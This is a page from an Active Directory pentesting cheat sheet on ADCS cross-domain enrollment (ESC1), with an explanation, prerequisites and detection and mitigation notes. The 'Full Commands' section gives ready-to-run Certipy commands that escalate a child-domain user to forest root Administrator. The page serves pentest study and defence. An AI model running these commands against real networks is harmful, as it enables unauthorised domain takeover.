AD^:Active Directory

Attack #70 — ADCS Cross-Domain Enrollment

When ADCS is deployed in a multi-domain forest, certificate enrollment often uses Enterprise CAs that serve the entire forest. A user from a child domain…

advancedupdated 2026-08-10Certipy

🔶 Attack #70 — ADCS Cross-Domain Enrollment


📖 How It Works

When ADCS is deployed in a multi-domain forest, certificate enrollment often uses Enterprise CAs that serve the entire forest. A user from a child domain can enroll for certificates from the forest root’s CA — and if a vulnerable template exists (ESC1-ESC8), they can request a certificate for any user in the forest, including Enterprise Admins in the root domain. This provides a cross-domain escalation path without needing the child domain’s KRBTGT hash.


⚙️ Prerequisites

RequirementDetail
Enterprise CA serving multiple domainsStandard in most multi-domain forests
Vulnerable cert templateESC1/ESC2/ESC4 etc. accessible from child domain
Child domain user credentialsAny authenticated user

💻 Full Commands

# ── Enumerate cross-domain CAs ────────────────────────────────────────────────
certipy find -u user@child.corp.local -p 'Password1' -dc-ip 10.10.10.20 \
  -vulnerable -stdout
# Look for: CAs from parent domain with vulnerable templates

# ── Exploit ESC1 cross-domain ─────────────────────────────────────────────────
certipy req -u user@child.corp.local -p 'Password1' -ca ROOT-CA \
  -template VulnTemplate -upn Administrator@corp.local \
  -dc-ip 10.10.10.10 -target ROOT-CA.corp.local

# ── Authenticate as forest root Administrator ─────────────────────────────────
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10

🛡️ Detection — Event IDs

Event IDSourceWhat to Look For
4886Security Log (CA)Enrollment from child domain user targeting parent domain identity

🔗 Attack Chain Context

[ADCS Cross-Domain] ──→ Enroll for forest root cert from child domain
         │
         ├──→ 🔗 No KRBTGT needed — pure ADCS escalation path
         ├──→ 🔗 Combines with ESC1-ESC8 from Category 4
         └──→ 💀 Defeated by: harden ADCS templates, restrict enrollment across domains

✅ Attack #70 — ADCS Cross-Domain Enrollment complete.

On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.